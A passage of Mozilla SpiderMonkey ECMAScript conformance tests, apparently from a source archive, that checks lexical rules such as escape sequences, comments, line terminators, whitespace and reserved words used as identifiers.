new TestCase( SECTION, "\\S", "S", "\S" ); new TestCase( SECTION, "\\T", "T", "\T" ); new TestCase( SECTION, "\\U", "U", "\U" ); new TestCase( SECTION, "\\V", "V", "\V" ); new TestCase( SECTION, "\\W", "W", "\W" ); new TestCase( SECTION, "\\X", "X", "\X" ); new TestCase( SECTION, "\\Y", "Y", "\Y" ); new TestCase( SECTION, "\\Z", "Z", "\Z" ); // DoubleStringCharacter::EscapeSequence::UnicodeEscapeSequence new TestCase( SECTION, "\\u0020", " ", "\u0020" ); new TestCase( SECTION, "\\u0021", "!", "\u0021" ); new TestCase( SECTION, "\\u0022", "\"", "\u0022" ); new TestCase( SECTION, "\\u0023", "#", "\u0023" ); new TestCase( SECTION, "\\u0024", "$", "\u0024" ); new TestCase( SECTION, "\\u0025", "%", "\u0025" ); new TestCase( SECTION, "\\u0026", "&", "\u0026" ); new TestCase( SECTION, "\\u0027", "'", "\u0027" ); new TestCase( SECTION, "\\u0028", "(", "\u0028" ); new TestCase( SECTION, "\\u0029", ")", "\u0029" ); new TestCase( SECTION, "\\u002A", "*", "\u002A" ); new TestCase( SECTION, "\\u002B", "+", "\u002B" ); new TestCase( SECTION, "\\u002C", ",", "\u002C" ); new TestCase( SECTION, "\\u002D", "-", "\u002D" ); new TestCase( SECTION, "\\u002E", ".", "\u002E" ); new TestCase( SECTION, "\\u002F", "/", "\u002F" ); new TestCase( SECTION, "\\u0030", "0", "\u0030" ); new TestCase( SECTION, "\\u0031", "1", "\u0031" ); new TestCase( SECTION, "\\u0032", "2", "\u0032" ); new TestCase( SECTION, "\\u0033", "3", "\u0033" ); new TestCase( SECTION, "\\u0034", "4", "\u0034" ); new TestCase( SECTION, "\\u0035", "5", "\u0035" ); new TestCase( SECTION, "\\u0036", "6", "\u0036" ); new TestCase( SECTION, "\\u0037", "7", "\u0037" ); new TestCase( SECTION, "\\u0038", "8", "\u0038" ); new TestCase( SECTION, "\\u0039", "9", "\u0039" ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-2-n.js0000664000175000017500000000215712106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-2-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var debugger = true"; EXPECTED = "error"; new TestCase( SECTION, "var debugger = true", "error", eval("var debugger = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-1-n.js0000664000175000017500000000214312106270663023262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-1-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var case = true"; EXPECTED = "error"; new TestCase( SECTION, "var case = true", "error", eval("var case = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-10-n.js0000664000175000017500000000235112106270663023342 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-10.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-10-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var if = true"; EXPECTED = "error"; new TestCase( SECTION, "var if = true", "error", eval("var if = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-6.js0000664000175000017500000000135612106270663022677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-6.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "comment with multiple asterisks", "pass", "fail"); /* ***/testcase.actual="pass"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-8-n.js0000664000175000017500000000232412106270663023271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-8-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Keywords"); DESCRIPTION = "var void = true"; EXPECTED = "error"; new TestCase( SECTION, "var void = true", "error", eval("var void = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-5-n.js0000664000175000017500000000215112106270663023265 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-5-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-5-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var catch = true"; EXPECTED = "error"; new TestCase( SECTION, "var catch = true", "error", eval("var catch = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-13-n.js0000664000175000017500000000236112106270663023346 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-13-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-13-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var else = true"; EXPECTED = "error"; new TestCase( SECTION, "var else = true", "error", eval("var else = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-3-n.js0000664000175000017500000000221412106270663023263 0ustar sstanglsstangl// |reftest| skip -- obsolete test /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-3-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var export = true"; EXPECTED = "error"; new TestCase( SECTION, "var export = true", "error", eval("var export = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-2.js0000664000175000017500000000141312106270663022665 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-2.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "a comment with a carriage return, and text following", "pass", "pass"); // "\u000D" testcase.actual = "fail"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-10-n.js0000664000175000017500000000213712106270663023345 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-10-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-10-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var do = true"; EXPECTED = "error"; new TestCase( SECTION, "var do = true", "error", eval("var do = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-10.js0000664000175000017500000000136112106270663022746 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-10.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "code following multiline comment", "pass", "fail"); /*//*/testcase.actual="pass"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-1.js0000664000175000017500000000313112106270663022662 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2-1.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var a\nb = 5; ab=10;ab;", 10, eval("var a\nb = 5; ab=10;ab") ); new TestCase( SECTION, "var a\nb = 5; ab=10;b;", 5, eval("var a\nb = 5; ab=10;b") ); new TestCase( SECTION, "var a\rb = 5; ab=10;ab;", 10, eval("var a\rb = 5; ab=10;ab") ); new TestCase( SECTION, "var a\rb = 5; ab=10;b;", 5, eval("var a\rb = 5; ab=10;b") ); new TestCase( SECTION, "var a\r\nb = 5; ab=10;ab;", 10, eval("var a\r\nb = 5; ab=10;ab") ); new TestCase( SECTION, "var a\r\nb = 5; ab=10;b;", 5, eval("var a\r\nb = 5; ab=10;b") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-2-n.js0000664000175000017500000000235212106270663023122 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r this test uses onerror to capture line numbers. because we use on error, we can only have one test case per file. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "\r\r\r\nb"; EXPECTED = "error" new TestCase( SECTION, DESCRIPTION, "error", eval("\r\r\r\nb")); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-11-n.js0000664000175000017500000000215612106270663023347 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-11-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-11-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var finally = true"; EXPECTED = "error"; new TestCase( SECTION, "var finally = true", "error", eval("var finally = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-4-n.js0000664000175000017500000000235012106270663023264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-4-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var var = true"; EXPECTED = "error"; TestCase( SECTION, "var var = true", "error", eval("var var = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-12-n.js0000664000175000017500000000215012106270663023342 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-12-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-12-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var throw = true"; EXPECTED = "error"; new TestCase( SECTION, "var throw = true", "error", eval("var throw = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.2.js0000664000175000017500000000175212106270663022700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.2.js ECMA Section: 7.7.2 Boolean Literals Description: BooleanLiteral:: true false The value of the Boolean literal true is a value of the Boolean type, namely true. The value of the Boolean literal false is a value of the Boolean type, namely false. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "7.7.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean Literals"; writeHeaderToLog( SECTION + " "+ TITLE); // StringLiteral:: "" and '' new TestCase( SECTION, "true", Boolean(true), true ); new TestCase( SECTION, "false", Boolean(false), false ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-12.js0000664000175000017500000000136312106270663022752 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-12.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "code following multiline comment", "pass", "pass"); /*testcase.actual="fail";**/ test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-6-n.js0000664000175000017500000000215412106270663023271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-6-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-6-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var default = true"; EXPECTED = "error"; new TestCase( SECTION, "var default = true", "error", eval("var default = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.1-1-n.js0000664000175000017500000000156212106270663023264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.1-1-n.js ECMA Section: 7.4.1 Description: Reserved words cannot be used as identifiers. ReservedWord :: Keyword FutureReservedWord NullLiteral BooleanLiteral Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var null = true"; EXPECTED = "error"; new TestCase( SECTION, "var null = true", "error", eval("var null = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-5.js0000664000175000017500000000141312106270663022670 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-5.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "a comment with a carriage return, and text following", "pass", "pass"); // "\u000A" testcase.actual = "fail"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-7-n.js0000664000175000017500000000233112106270663023266 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-7-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-7"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Keywords"); DESCRIPTION = "var return = true"; EXPECTED = "error"; new TestCase( SECTION, "var return = true", "error", eval("var return = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-15-n.js0000664000175000017500000000267512106270663023361 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-15-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-15-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var actual = 'no error'; var prefValue; print("This test requires option javascript.options.strict enabled"); options('strict'); options('werror'); try { eval("var import = true"); } catch(e) { actual = 'error'; } DESCRIPTION = "var import = true"; EXPECTED = "error"; // force exception since this is a negative test if (actual == 'error') { throw actual; } new TestCase( SECTION, "var import = true", "error", actual ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-7.js0000664000175000017500000000155212106270663022700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-7.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-7"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var $0abc = 5", 5, eval("var $0abc = 5; $0abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.1-2-n.js0000664000175000017500000000156312106270663023266 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.1-2.js ECMA Section: 7.4.1 Description: Reserved words cannot be used as identifiers. ReservedWord :: Keyword FutureReservedWord NullLiteral BooleanLiteral Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var true = false"; EXPECTED = "error"; new TestCase( SECTION, "var true = false", "error", eval("var true = false") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-6.js0000664000175000017500000000230612106270663022672 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2-6.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var a\u000Ab = 5; ab=10;ab;", 10, eval("var a\nb = 5; ab=10;ab") ); new TestCase( SECTION, "var a\u000Db = 5; ab=10;b;", 5, eval("var a\nb = 5; ab=10;b") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-15-n.js0000664000175000017500000000236712106270663023356 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-15-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-15-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var typeof = true"; EXPECTED = "error"; new TestCase( SECTION, "var typeof = true", "error", eval("var typeof = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-12-n.js0000664000175000017500000000236412106270663023350 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-12-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-12-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var while = true"; EXPECTED = "error"; new TestCase( SECTION, "var while = true", "error", eval("var while = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.1-1.js0000664000175000017500000000345012106270663022665 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.1-1.js ECMA Section: 7.1 White Space Description: - readability - separate tokens - otherwise should be insignificant - in strings, white space characters are significant - cannot appear within any other kind of token white space characters are: unicode name formal name string representation \u0009 tab \t \u000B veritical tab \v \U000C form feed \f \u0020 space " " Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "White Space"; writeHeaderToLog( SECTION + " "+ TITLE); // whitespace between var keyword and identifier new TestCase( SECTION, 'var'+'\t'+'MYVAR1=10;MYVAR1', 10, eval('var'+'\t'+'MYVAR1=10;MYVAR1') ); new TestCase( SECTION, 'var'+'\f'+'MYVAR2=10;MYVAR2', 10, 